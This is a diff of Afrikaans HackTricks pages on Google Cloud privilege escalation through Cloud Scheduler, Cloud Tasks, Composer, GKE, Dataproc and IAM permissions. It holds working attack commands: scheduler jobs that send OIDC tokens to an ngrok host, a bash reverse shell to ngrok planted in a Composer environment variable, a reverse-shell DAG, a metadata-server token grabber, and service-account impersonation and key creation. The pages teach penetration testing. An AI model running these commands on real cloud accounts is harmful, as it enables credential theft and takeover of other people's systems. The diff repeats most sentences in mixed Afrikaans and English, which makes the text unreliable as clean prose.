### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **Cloud Scheduler** benut om **cron jobs as 'n spesifieke Diensrekening te verifieer**. Deur 'n HTTP POST-versoek te skep, skeduleer die aanvaller aksies, soos om 'n Storage-bucket te skep, om onder die Diensrekening se identiteit uit te voer. Hierdie metode benut die **Scheduler se vermoë om `*.googleapis.com` eindpunte te teiken en versoeke te verifieer**, wat die aanvaller in staat stel om Google API-eindpunte direk te manipuleer met 'n eenvoudige `gcloud` opdrag.
|
||||
ʼn Aanvaller met hierdie toestemmings kan **Cloud Scheduler** misbruik om **cron jobs as 'n spesifieke Service Account te autentiseer**. Deur 'n HTTP POST-versoek op te stel, skeduleer die aanvaller handelinge, soos die skep van 'n Storage bucket, om uit te voer onder die identiteit van die Service Account. Hierdie metode benut die **Scheduler se vermoë om `*.googleapis.com` endpunte te teiken en versoeke te autentiseer**, wat die aanvaller toelaat om Google API-endpunte direk te manipuleer deur 'n eenvoudige `gcloud` opdrag te gebruik.
|
||||
|
||||
- **Kontak enige google API via `googleapis.com` met OAuth-token kopstuk**
|
||||
- **Kontak enige Google API via `googleapis.com` met 'n OAuth token header**
|
||||
|
||||
Skep 'n nuwe Storage-bucket:
|
||||
Skep 'n nuwe Storage bucket:
|
||||
|
||||
<details><summary>Skep 'n Cloud Scheduler-taak om 'n GCS-bucket via die API te skep</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
|
||||
```
|
||||
Om voorregte te verhoog, **skep 'n aanvaller bloot 'n HTTP-versoek wat die gewenste API teiken, terwyl hy die gespesifiseerde Diensrekening naboots**
|
||||
</details>
|
||||
|
||||
- **Exfiltreer OIDC diensrekeningtoken**
|
||||
Om voorregte te eskaleer, **'n attacker maak net 'n HTTP request wat die gewenste API teiken en die gespesifiseerde Service Account naboots**
|
||||
|
||||
- **Exfiltrate OIDC service account token**
|
||||
|
||||
<details><summary>Skep Cloud Scheduler job om exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
As jy die HTTP-respons moet nagaan, kan jy net **na die logs van die uitvoering kyk**.
|
||||
</details>
|
||||
|
||||
As jy die HTTP-antwoord moet nagaan, kan jy net **na die logs van die uitvoering kyk**.
|
||||
|
||||
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
|
||||
|
||||
Soos in die vorige scenario is dit moontlik om **'n reeds geskepte skedule op te dateer** om die token te steel of aksies uit te voer. Byvoorbeeld:
|
||||
Soos in die vorige scenario is dit moontlik om **'n reeds geskepte Cloud Scheduler by te werk** om die token te steel of aksies uit te voer. Byvoorbeeld:
|
||||
|
||||
<details><summary>Werk bestaande Cloud Scheduler-job by om exfiltrate OIDC token</summary>
|
||||
```bash
|
||||
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
|
||||
|
||||
# Listen in the ngrok address to get the OIDC token in clear text.
|
||||
```
|
||||
Nog 'n voorbeeld om 'n private sleutel na 'n SA op te laai en dit na te doen:
|
||||
</details>
|
||||
|
||||
Nog 'n voorbeeld om 'n private key na 'n SA op te laai en dit te impersonate:
|
||||
|
||||
<details><summary>Laai 'n private key op na 'n Service Account via Cloud Scheduler en impersonate dit</summary>
|
||||
```bash
|
||||
# Generate local private key
|
||||
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
|
||||
@@ -102,6 +116,8 @@ EOF
|
||||
# Activate the generated key
|
||||
gcloud auth activate-service-account --key-file=/tmp/lab.json
|
||||
```
|
||||
</details>
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
+18
-6
@@ -6,7 +6,9 @@
|
||||
|
||||
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **ander diensrekeninge naboots** deur take te skep wat met die gespesifiseerde diensrekening se identiteit uitgevoer word. Dit stel in staat om **geoutentiseerde HTTP versoeke na IAM-beskermde Cloud Run of Cloud Functions** dienste te stuur.
|
||||
An attacker met hierdie permissies kan **impersonate other service accounts** deur tasks te skep wat uitgevoer word met die gespesifiseerde service account se identiteit. Dit maak dit moontlik om **authenticated HTTP requests to IAM-protected Cloud Run or Cloud Functions** dienste te stuur.
|
||||
|
||||
<details><summary>Create Cloud Task with service account impersonation</summary>
|
||||
```bash
|
||||
gcloud tasks create-http-task \
|
||||
task-$(date '+%Y%m%d%H%M%S') \
|
||||
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
|
||||
--body-content '{"hello":"world"}' \
|
||||
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
|
||||
|
||||
'n Aanvaller met hierdie toestemmings kan **bestaande geskeduleerde take uitvoer** sonder om toestemmings op die diensrekening wat met die taak geassosieer is, te hê. Dit stel die uitvoering van take wat voorheen met hoër bevoorregte diensrekeninge geskep is, in staat.
|
||||
'n aanvaller met hierdie toestemmings kan **bestaande geskeduleerde take uitvoer** sonder om toestemming op die service account wat met die taak geassosieer is te hê. Dit maak dit moontlik om take uit te voer wat voorheen geskep is met service accounts met hoër voorregte.
|
||||
|
||||
<details><summary>Voer bestaande Cloud Task uit sonder actAs toestemming</summary>
|
||||
```bash
|
||||
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
|
||||
```
|
||||
Die hoof wat hierdie opdrag uitvoer **het nie `iam.serviceAccounts.actAs` toestemming** op die diensrekening van die taak nodig nie. Dit laat egter slegs die uitvoering van bestaande take toe - dit gee nie die vermoë om take te skep of te wysig nie.
|
||||
</details>
|
||||
|
||||
Die principal wat hierdie opdrag uitvoer **het nie die `iam.serviceAccounts.actAs` toestemming nodig** op die taak se service account nie. Dit laat egter slegs toe om bestaande take uit te voer — dit verleen nie die vermoë om take te skep of te wysig nie.
|
||||
|
||||
### `cloudtasks.queues.setIamPolicy`
|
||||
|
||||
'n Aanvaller met hierdie toestemming kan **hulle self of ander hoofde Cloud Tasks rolle toeken** op spesifieke rye, wat moontlik kan lei tot `roles/cloudtasks.admin` wat die vermoë insluit om take te skep en uit te voer.
|
||||
'n Aanvaller met hierdie toestemming kan **hulself of ander principals Cloud Tasks roles** op spesifieke queues toeken, moontlik opgradeer na `roles/cloudtasks.admin` wat insluit die vermoë om take te skep en uit te voer.
|
||||
|
||||
<details><summary>Verleen Cloud Tasks admin role op queue</summary>
|
||||
```bash
|
||||
gcloud tasks queues add-iam-policy-binding \
|
||||
<queue_name> \
|
||||
@@ -36,10 +46,12 @@ gcloud tasks queues add-iam-policy-binding \
|
||||
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
|
||||
--role roles/cloudtasks.admin
|
||||
```
|
||||
Dit stel die aanvaller in staat om volle Cloud Tasks administrateur toestemmings op die wachtrij aan enige diensrekening wat hulle beheer toe te ken.
|
||||
</details>
|
||||
|
||||
Dit stel die aanvaller in staat om volle Cloud Tasks admin permissions op die queue toe te ken aan enige service account wat hulle beheer.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Google Cloud Tasks Dokumentasie](https://cloud.google.com/tasks/docs)
|
||||
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+34
-14
@@ -12,18 +12,24 @@ Meer inligting in:
|
||||
|
||||
### `composer.environments.create`
|
||||
|
||||
Dit is moontlik om **enige diensrekening** aan die nuut geskepte composer omgewing met daardie toestemming te koppel. Later kan jy kode binne composer uitvoer om die diensrekening token te steel.
|
||||
Dit is moontlik om met daardie toestemming **enige service account** aan die nuut geskepte composer-omgewing te koppel. Later kan jy kode binne composer uitvoer om die service account token te steel.
|
||||
|
||||
<details><summary>Skep Composer-omgewing met aangehegte service account</summary>
|
||||
```bash
|
||||
gcloud composer environments create privesc-test \
|
||||
--project "${PROJECT_ID}" \
|
||||
--location europe-west1 \
|
||||
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
|
||||
```
|
||||
Meer inligting oor die uitbuiting [**hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
</details>
|
||||
|
||||
Meer inligting oor die uitbuiting [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
|
||||
|
||||
### `composer.environments.update`
|
||||
|
||||
Dit is moontlik om die composer-omgewing op te dateer, byvoorbeeld, om omgewing veranderlikes te wysig:
|
||||
Dit is moontlik om die composer environment op te dateer, byvoorbeeld deur env variables te wysig:
|
||||
|
||||
<details><summary>Opdateer Composer environment variables vir code execution</summary>
|
||||
```bash
|
||||
# Even if it says you don't have enough permissions the update happens
|
||||
gcloud composer environments update \
|
||||
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
|
||||
|
||||
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
|
||||
```
|
||||
</details>
|
||||
|
||||
TODO: Kry RCE deur nuwe pypi-pakkette by die omgewing te voeg
|
||||
|
||||
### Laai Dags Af
|
||||
### Laai DAGs af
|
||||
|
||||
Kontroleer die bronkode van die dags wat uitgevoer word:
|
||||
Kontroleer die bronkode van die DAGs wat uitgevoer word:
|
||||
|
||||
<details><summary>Eksporteer en laai DAGs uit die Composer-omgewing af</summary>
|
||||
```bash
|
||||
mkdir /tmp/dags
|
||||
gcloud composer environments storage dags export --environment <environment> --location <loc> --destination /tmp/dags
|
||||
```
|
||||
### Import Dags
|
||||
</details>
|
||||
|
||||
Voeg die python DAG kode in 'n lêer in en import dit deur te loop:
|
||||
### Importeer Dags
|
||||
|
||||
Voeg die python DAG-kode in 'n lêer en importeer dit deur die volgende uit te voer:
|
||||
|
||||
<details><summary>Importeer kwaadaardige DAG in Composer-omgewing</summary>
|
||||
```bash
|
||||
# TODO: Create dag to get a rev shell
|
||||
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
|
||||
```
|
||||
</details>
|
||||
|
||||
Reverse shell DAG:
|
||||
```python:reverse_shell.py
|
||||
|
||||
<details><summary>Python DAG code for reverse shell</summary>
|
||||
```python
|
||||
import airflow
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash_operator import BashOperator
|
||||
@@ -94,9 +112,11 @@ depends_on_past=False,
|
||||
priority_weight=2**31 - 1,
|
||||
do_xcom_push=False)
|
||||
```
|
||||
### Skryf Toegang tot die Composer-bucket
|
||||
</details>
|
||||
|
||||
Alle komponente van 'n composer-omgewing (DAGs, plugins en data) word binne 'n GCP-bucket gestoor. As die aanvaller lees- en skryfregte daaroor het, kan hy die bucket monitor en **wanneer 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien** sodat die composer-omgewing die backdoored weergawe uit die berging sal kry.
|
||||
### Write Access to the Composer bucket
|
||||
|
||||
Al die komponente van 'n Composer-omgewing (DAGs, plugins en data) word in 'n GCP bucket gestoor. Indien die aanvaller lees- en skryfpermisies daarop het, kan hy die bucket monitor en **sodra 'n DAG geskep of opgedateer word, 'n backdoored weergawe indien** sodat die Composer-omgewing vanaf die storage die backdoored weergawe sal kry.
|
||||
|
||||
Kry meer inligting oor hierdie aanval in:
|
||||
|
||||
@@ -104,12 +124,12 @@ Kry meer inligting oor hierdie aanval in:
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Importeer Plugins
|
||||
### Import Plugins
|
||||
|
||||
TODO: Kyk wat moontlik is om te kompromitteer deur plugins op te laai
|
||||
TODO: Kontroleer wat moontlik gekompromitteer kan word deur plugins op te laai
|
||||
|
||||
### Importeer Data
|
||||
### Import Data
|
||||
|
||||
TODO: Kyk wat moontlik is om te kompromitteer deur data op te laai
|
||||
TODO: Kontroleer wat moontlik gekompromitteer kan word deur data op te laai
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+25
-17
@@ -6,16 +6,22 @@
|
||||
|
||||
### `container.clusters.get`
|
||||
|
||||
Hierdie toestemming laat toe om **akkrediteer te versamel vir die Kubernetes-kluster** deur iets soos:
|
||||
Hierdie toestemming laat toe om **inlogbesonderhede vir die Kubernetes-kluster in te samel** deur iets soos te gebruik:
|
||||
|
||||
<details><summary>Kry Kubernetes-kluster inlogbesonderhede</summary>
|
||||
```bash
|
||||
gcloud container clusters get-credentials <cluster_name> --zone <zone>
|
||||
```
|
||||
Sonder ekstra toestemmings is die geloofsbriewe redelik basies aangesien jy **net 'n paar hulpbronne kan lys**, maar dit is nuttig om mis-konfigurasies in die omgewing te vind.
|
||||
</details>
|
||||
|
||||
Sonder ekstra permissions is die credentials redelik basies aangesien jy **net 'n resource kan lys**, maar hulle is nuttig om miskonfigurasies in die omgewing te vind.
|
||||
|
||||
> [!NOTE]
|
||||
> Let daarop dat **kubernetes klusters dalk geconfigureer is om privaat te wees**, wat toegang tot die Kube-API bediener vanaf die Internet sal verbied.
|
||||
> Let wel dat **kubernetes clusters dalk gekonfigureer is om privaat te wees**, wat toegang tot die Kube-API server vanaf die Internet sal verhoed.
|
||||
|
||||
As jy nie hierdie toestemming het nie, kan jy steeds toegang tot die kluster verkry, maar jy moet **jou eie kubectl konfigurasie lêer** met die klusters inligting skep. 'n Nuwe gegenereerde een lyk soos volg:
|
||||
As jy nie hierdie permission het nie, kan jy steeds toegang tot die cluster kry, maar jy moet **jou eie kubectl config file skep** met die cluster se inligting. 'n Nuut gegenereerde een lyk soos volg:
|
||||
|
||||
<details><summary>Voorbeeld kubectl config file for GKE cluster</summary>
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
clusters:
|
||||
@@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}"
|
||||
token-key: "{.credential.access_token}"
|
||||
name: gcp
|
||||
```
|
||||
</details>
|
||||
|
||||
### `container.roles.escalate` | `container.clusterRoles.escalate`
|
||||
|
||||
**Kubernetes** verhoed standaard dat principals in staat is om **Roles** en **ClusterRoles** te **skep** of **opdateer** met **meer toestemmings** as wat die principal het. egter, 'n **GCP** principal met daardie toestemmings sal in staat wees om **Roles/ClusterRoles met meer toestemmings** te **skep/opdateer** as wat hy gehad het, wat effektief die Kubernetes beskerming teen hierdie gedrag omseil.
|
||||
**Kubernetes** voorkom standaard dat principals in staat is om **Roles** en **ClusterRoles** te **skep** of te **bywerk** met **meer permissies** as dié wat die principal het. 'n **GCP** principal met daardie permissies sal egter in staat wees om **Roles/ClusterRoles te skep/bewerk met meer permissies** as dié wat hy vooraf gehad het, en sodoende die Kubernetes-beskerming teen hierdie gedrag oorbrug.
|
||||
|
||||
**`container.roles.create`** en/of **`container.roles.update`** OF **`container.clusterRoles.create`** en/of **`container.clusterRoles.update`** is **ook** **nodig** om daardie privilige-eskalasie aksies uit te voer.
|
||||
**`container.roles.create`** en/of **`container.roles.update`** OF **`container.clusterRoles.create`** en/of **`container.clusterRoles.update`** is onderskeidelik **ook** **nodig** om daardie privilege escalation-aksies uit te voer.
|
||||
|
||||
### `container.roles.bind` | `container.clusterRoles.bind`
|
||||
|
||||
**Kubernetes** verhoed standaard dat principals in staat is om **RoleBindings** en **ClusterRoleBindings** te **skep** of **opdateer** om **meer toestemmings** te gee as wat die principal het. egter, 'n **GCP** principal met daardie toestemmings sal in staat wees om **RolesBindings/ClusterRolesBindings met meer toestemmings** te **skep/opdateer** as wat hy het, wat effektief die Kubernetes beskerming teen hierdie gedrag omseil.
|
||||
**Kubernetes** voorkom standaard dat principals in staat is om **RoleBindings** en **ClusterRoleBindings** te **skep** of te **bywerk** om **meer permissies** te gee as dié wat die principal het. 'n **GCP** principal met daardie permissies sal egter in staat wees om **RoleBindings/ClusterRoleBindings te skep/bewerk met meer permissies** as dié wat hy het, en sodoende die Kubernetes-beskerming teen hierdie gedrag oorbrug.
|
||||
|
||||
**`container.roleBindings.create`** en/of **`container.roleBindings.update`** OF **`container.clusterRoleBindings.create`** en/of **`container.clusterRoleBindings.update`** is ook **nodig** om daardie privilige-eskalasie aksies uit te voer.
|
||||
**`container.roleBindings.create`** en/of **`container.roleBindings.update`** OF **`container.clusterRoleBindings.create`** en/of **`container.clusterRoleBindings.update`** is onderskeidelik ook **nodig** om daardie privilege escalation-aksies uit te voer.
|
||||
|
||||
### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update`
|
||||
|
||||
Al hierdie toestemmings gaan jou toelaat om 'n **bron** te **skep of op te dateer** waar jy 'n **pod** kan **definieer**. Deur 'n pod te definieer kan jy die **SA** spesifiseer wat aan die **pod** geheg gaan word en die **beeld** wat gaan **loop**, daarom kan jy 'n beeld loop wat die **token van die SA na jou bediener** gaan **exfiltreer**, wat jou toelaat om na enige diensrekening te eskaleer.\
|
||||
Vir meer inligting, kyk:
|
||||
Al hierdie permissies laat jou toe om 'n resource te **skep** of te **bywerk** waarin jy 'n **pod** kan definieer. Deur 'n pod te definieer kan jy die **SA** spesifiseer wat daaraan geheg gaan word en die **image** wat uitgevoer gaan word; dus kan jy 'n image laat loop wat die **token** van die **SA** na jou bediener gaan exfiltrate, wat jou toelaat om te escalate na enige service account.\
|
||||
Vir meer inligting kyk:
|
||||
|
||||
Aangesien ons in 'n GCP-omgewing is, sal jy ook in staat wees om die **nodepool GCP SA** van die **metadata** diens te **kry** en **privileges in GCP** te **eskaleer** (standaard word die compute SA gebruik).
|
||||
Aangesien ons in 'n GCP-omgewing is, sal jy ook die nodepool GCP SA van die metadata service kan kry en privileges in GCP eskaleer (by verstek word die compute SA gebruik).
|
||||
|
||||
### `container.secrets.get` | `container.secrets.list`
|
||||
|
||||
Soos [**verduidelik op hierdie bladsy**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets)met hierdie toestemmings kan jy die **tokens** van al die **SAs van kubernetes** **lees**, sodat jy na hulle kan eskaleer.
|
||||
As [**verduidelik op hierdie blad**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets)met hierdie permissies kan jy die **tokens** van al die **SAs of kubernetes** lees, sodat jy na hulle kan escalate.
|
||||
|
||||
### `container.pods.exec`
|
||||
|
||||
Met hierdie toestemming sal jy in staat wees om in **pods** te **exec**, wat jou **toegang** gee tot al die **Kubernetes SAs wat in pods loop** om privileges binne K8s te eskaleer, maar jy sal ook in staat wees om die **GCP Service Account** van die **NodePool** te **steel**, wat **privileges in GCP** eskaleer.
|
||||
Met hierdie permission sal jy in staat wees om te **exec into pods**, wat jou **toegang** gee tot al die **Kubernetes SAs running in pods** om privileges binne K8s te escalate, maar jy sal ook die **GCP Service Account** van die **NodePool** kan **steal**, en sodoende privileges in GCP eskaleer.
|
||||
|
||||
### `container.pods.portForward`
|
||||
|
||||
Soos **verduidelik op hierdie bladsy**, met hierdie toestemmings kan jy **lokale dienste** wat in **pods** loop, **toegang** verkry wat jou mag toelaat om **privileges in Kubernetes** te **eskaleer** (en in **GCP** as jy op een of ander manier met die metadata diens kan praat)**.**
|
||||
Soos [**verduidelik op hierdie blad**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets), met hierdie permissies kan jy toegang kry tot plaaslike dienste wat in **pods** loop wat jou moontlik toelaat om **privileges in Kubernetes te escalate** (en in **GCP** as jy op een of ander manier met die metadata service kan kommunikeer)**.**
|
||||
|
||||
### `container.serviceAccounts.createToken`
|
||||
|
||||
As gevolg van die **naam** van die **toestemming**, lyk dit **of dit jou sal toelaat om tokens van die K8s Service Accounts te genereer**, sodat jy in staat sal wees om **privileges na enige SA** binne Kubernetes te **eskaleer**. egter, ek kon nie enige API eindpunt vind om dit te gebruik nie, so laat weet my as jy dit vind.
|
||||
Vanweë die **naam** van die **permission**, lyk dit asof dit jou sal toelaat om tokens van die K8s Service Accounts te genereer, sodat jy na enige **SA** binne Kubernetes kan privesc. Ek kon egter geen API-endpoint vind om dit te gebruik nie; laat weet my as jy dit vind.
|
||||
|
||||
### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update`
|
||||
|
||||
Hierdie toestemmings mag jou toelaat om privileges in Kubernetes te eskaleer, maar waarskynlik kan jy dit misbruik om in die **kluster** te **persist**.\
|
||||
Vir meer inligting [**volg hierdie skakel**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller).
|
||||
Hierdie permissies kan jou moontlik toelaat om privileges in Kubernetes te eskaleer, maar waarskynliker kan jy dit misbruik om in die cluster te persisteer.\
|
||||
Vir meer inligting [**volg hierdie skakel**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# GCP Dataproc Privilege Escalation
|
||||
# GCP Dataproc Privilegie-eskalasie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
|
||||
### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
|
||||
|
||||
Ek was nie in staat om 'n omgekeerde shell te verkry met hierdie metode nie, maar dit is moontlik om die SA-token vanaf die metadata-eindpunt te lek met die metode hieronder beskryf.
|
||||
Ek kon nie 'n reverse shell met hierdie metode kry nie, maar dit is wel moontlik om 'n leak van die SA token vanaf die metadata endpoint te verkry met die metode hieronder beskryf.
|
||||
|
||||
#### Stappe om te benut
|
||||
#### Stappe om uit te buit
|
||||
|
||||
- Plaas die werkskrip op die GCP-bucket.
|
||||
- Plaas die job script op die GCP Bucket
|
||||
|
||||
- Dien 'n werk in by 'n Dataproc-kluster.
|
||||
- Dien 'n job in by 'n Dataproc cluster.
|
||||
|
||||
- Gebruik die werk om toegang tot die metadata-bediener te verkry.
|
||||
- Gebruik die job om toegang tot die metadata server te kry.
|
||||
|
||||
- Lek die diensrekeningtoken wat deur die kluster gebruik word.
|
||||
- Leak die service account token wat deur die cluster gebruik word.
|
||||
|
||||
<details><summary>Python script om SA token vanaf die metadata server te haal</summary>
|
||||
```python
|
||||
import requests
|
||||
|
||||
@@ -41,7 +43,9 @@ return None
|
||||
if __name__ == "__main__":
|
||||
fetch_metadata_token()
|
||||
```
|
||||
</details>
|
||||
|
||||
<details><summary>Dien 'n kwaadwillige taak in by Dataproc-kluster</summary>
|
||||
```bash
|
||||
# Copy the script to the storage bucket
|
||||
gsutil cp <python-script> gs://<bucket-name>/<python-script>
|
||||
@@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
|
||||
--cluster=<cluster-name> \
|
||||
--region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,40 +12,54 @@ Vind meer inligting oor IAM in:
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om 'n rol wat aan jou toegeken is, op te dateer en jou ekstra toestemmings te gee vir ander hulpbronne soos:
|
||||
An attacker met die genoemde permissies sal 'n rol wat aan jou toegewys is kan opdateer en jou ekstra permissies vir ander hulpbronne kan gee, soos:
|
||||
|
||||
<details><summary>Werk IAM-rol by om permissies by te voeg</summary>
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
U kan 'n skrif vind om die **skepping, benutting en skoonmaak van 'n kwesbare omgewing hier** te outomatiseer en 'n python-skrif om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Jy kan 'n script vind om die **creation, exploit and cleaning of a vuln environment here** te outomatiseer en 'n python script om hierdie voorreg te misbruik [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Vir meer inligting kyk na die [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`)
|
||||
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om **'n toegangstoken aan te vra wat aan 'n diensrekening behoort**, so dit is moontlik om 'n toegangstoken van 'n diensrekening met meer voorregte as ons s'n aan te vra.
|
||||
'n aanvaller met die genoemde permissies sal in staat wees om **request an access token that belongs to a Service Account**, dus is dit moontlik om 'n access token van 'n Service Account met meer voorregte as ons eie te verkry.
|
||||
|
||||
<details><summary>Impersonate service account to get access token</summary>
|
||||
```bash
|
||||
gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
|
||||
auth print-access-token
|
||||
```
|
||||
U kan 'n skrif vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) en 'n python-skrif om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Jy kan 'n script vind om die [**skepping, exploit en skoonmaak van 'n vuln environment hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Vir meer inligting, sien die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
### `iam.serviceAccountKeys.create`
|
||||
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om **'n gebruiker-beheerde sleutel vir 'n Diensrekening te skep**, wat ons in staat sal stel om GCP as daardie Diensrekening te benader.
|
||||
'n Aanvaller met die genoemde toestemmings sal in staat wees om **'n gebruikersbeheerde sleutel vir 'n Service Account te skep**, wat ons toelaat om op GCP as daardie Service Account toegang te kry.
|
||||
|
||||
<details><summary>Skep service account sleutel en verifieer</summary>
|
||||
```bash
|
||||
gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json
|
||||
|
||||
gcloud auth activate-service-account --key-file=sa_cred.json
|
||||
```
|
||||
U kan 'n skrip vind om die [**skepping, benutting en skoonmaak van 'n kwesbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) te outomatiseer en 'n python-skrip om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Vir meer inligting, kyk na die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
</details>
|
||||
|
||||
Let daarop dat **`iam.serviceAccountKeys.update` nie sal werk om die sleutel** van 'n SA te wysig nie, omdat die toestemmings `iam.serviceAccountKeys.create` ook nodig is om dit te doen.
|
||||
Jy kan 'n script vind om die [**skepping, uitbuiting en skoonmaak van 'n kwetsbare omgewing hier**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) te outomatiseer en 'n python script om hierdie voorreg te misbruik [**hier**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Vir meer inligting kyk die [**oorspronklike navorsing**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
